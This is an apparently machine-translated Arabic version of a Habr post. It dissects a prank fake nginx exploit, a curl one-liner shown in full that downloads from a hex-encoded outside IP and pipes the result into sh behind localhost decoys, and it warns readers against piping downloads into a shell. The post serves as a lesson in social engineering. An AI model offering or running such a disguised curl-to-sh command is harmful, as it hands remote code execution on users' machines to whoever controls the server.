ملحوظة. ترجمة.:
TL;DR: لا تستخدم أبدًا خطوط أنابيب الملفات في sh أو bash. هذه طريقة رائعة لفقد السيطرة على جهاز الكمبيوتر الخاص بك.
أريد أن أشارككم قصة صغيرة حول استغلال مزحة لـ PoC تم إنشاؤها في 31 مايو. لقد ظهر على الفور ردًا على الأخبار الواردة من
بعد الانتهاء من العمل على تقنية التشويش الجديدة في Curl، اقتبست التغريدة الأصلية و"سربت إثبات مفهوم فعال" يتكون من سطر واحد من التعليمات البرمجية، من المفترض أنه يستغل الثغرة المكتشفة. وبطبيعة الحال، كان محض هراء. اعتقدت أنه سيتم نقلي على الفور إلى المياه النظيفة، وأنه في أحسن الأحوال، سأحصل على بضع تغريدات (حسنا، حسنا).
ومع ذلك، لم أستطع أن أتخيل ما حدث بعد ذلك. ارتفعت شعبية تغريداتي بشكل كبير. من المثير للدهشة أنه في الوقت الحالي (15:00 بتوقيت موسكو يوم 1 يونيو) أدرك عدد قليل من الناس أن هذا مزيف. يقوم الكثيرون بإعادة تغريدها دون التحقق منها على الإطلاق (ناهيك عن الإعجاب برسومات ASCII الرائعة التي تعرضها).
فقط انظر كم هو جميل!
على الرغم من أن كل هذه الدورات والألوان رائعة، فمن المفهوم أن الأشخاص كانوا ينفذون تعليمات برمجية على أجهزتهم لرؤيتها. لحسن الحظ، تعمل المتصفحات بنفس الطريقة، ومع حقيقة أنني لا أريد أن أقع في مشكلة مع القانون، فإن الكود المخفي في موقعي أجرى مكالمات صدى دون محاولة تثبيت أو تنفيذ أي كود إضافي.
استطرادية صغيرة:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
الهندسة الإلكترونية الاجتماعية (SEE) - أكثر من مجرد تصيد احتيالي
كانت السلامة والألفة جزءًا رئيسيًا من هذه التجربة. أعتقد أنهم هم الذين أدى إلى نجاحه. يشير سطر الأوامر بوضوح إلى الأمان، مشيرًا إلى "127.0.0.1" (المضيف المحلي المعروف). من المعتقد أن المضيف المحلي آمن، وأن البيانات الموجودة عليه لا تترك جهاز الكمبيوتر الخاص بك أبدًا.
كان التعود هو المكون الرئيسي الثاني لـ SEE في التجربة. نظرًا لأن الجمهور المستهدف كان يتكون في الغالب من أشخاص على دراية بأساسيات أمان الكمبيوتر، كان من المهم إنشاء مثل هذا الكود بحيث تبدو أجزاء منه مألوفة ومألوفة (وبالتالي آمنة). لقد كان استعارة عناصر من مفاهيم الاستغلال القديمة والجمع بينها بطريقة غير عادية ناجحًا للغاية.
فيما يلي تفصيل تفصيلي للبطانة الواحدة. كل شيء في هذه القائمة هو مستحضرات التجميل، ولعملها الحقيقي لا يتطلب الأمر أي شيء تقريبًا.
ما هي المكونات المطلوبة حقا؟ هذا -gsS
, -O 0x0238f06a
, |sh
وخادم الويب نفسه. لم يحتوي خادم الويب على أي تعليمات ضارة، ولكنه قام ببساطة بتمرير رسومات ASCII باستخدام الأوامر echo
في البرنامج النصي الموجود في index.html
. عندما يقوم المستخدم بإدخال سلسلة مع |sh
في المنتصف، index.html
تحميل وتنفيذ. لحسن الحظ، لم يكن لدى حراس خادم الويب أي نية خبيثة.
-
../../../%00
- يصور تجاوز الدليل؛ -
ngx_stream_module.so
- المسار إلى وحدة NGINX العشوائية؛ -
/bin/sh%00<'protocol:TCP'
- من المفترض أننا نطلق/bin/sh
على الجهاز الهدف وإعادة توجيه الإخراج إلى قناة TCP؛ -
-O 0x0238f06a#PLToffset
- تمت إضافة العنصر السري#PLToffset
لتبدو وكأنها إزاحة ذاكرة موجودة بطريقة أو بأخرى في معاهدة قانون البراءات؛ -
|sh;
هي قطعة أخرى مهمة. كنا بحاجة إلى إعادة توجيه الإخراج إلى sh/bash من أجل تنفيذ التعليمات البرمجية القادمة من خادم الويب المهاجم الموجود في0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- دمية يشير إليها netcat/dev/tcp/localhost
لجعل كل شيء يبدو آمنًا مرة أخرى. في الواقع، لا يفعل شيئًا ويتم تضمينه في خط الجمال.
وبهذا ينتهي فك تشفير النص المكون من سطر واحد ومناقشة جوانب "الهندسة الاجتماعية الإلكترونية" (التصيد الاحتيالي).
تكوين خادم الويب والتدابير المضادة
نظرًا لأن الغالبية العظمى من المشتركين لدي هم من المتسللين/آمني المعلومات، فقد قررت أن أجعل خادم الويب أكثر مقاومة لمظاهر "الاهتمام" منهم، فقط حتى يكون لدى الرجال ما يفعلونه (وكان من الممتع ضبطه أعلى). لن أقوم بإدراج جميع الأخطاء هنا لأن التجربة لا تزال مستمرة، ولكن إليك بعض الأشياء التي يقوم بها الخادم:
- يراقب بشكل نشط محاولات التوزيع على شبكات اجتماعية معينة ويستبدل الصور المصغرة المختلفة للمعاينة لتشجيع المستخدم على النقر على الرابط.
- يعيد توجيه Chrome/Mozilla/Safari/etc إلى عرض Thugcrowd الترويجي بدلاً من عرض برنامج نصي Shell.
- يبحث عن علامات واضحة للتطفل/القرصنة العنيفة ثم يبدأ في إعادة توجيه الطلبات إلى خوادم وكالة الأمن القومي (ها!).
- يقوم بتثبيت حصان طروادة وجذور BIOS على جميع أجهزة الكمبيوتر التي يزور مستخدموها المضيف باستخدام متصفح عادي (فقط أمزح!).
جزء صغير من المضادات
في هذه الحالة، كان هدفي الوحيد هو معرفة بعض ميزات Apache - على وجه الخصوص، قواعد إعادة توجيه الطلب الرائعة - وفكرت، لماذا لا؟
استغلال NGINX (حقيقي!)
اشترك في
المصدر: www.habr.com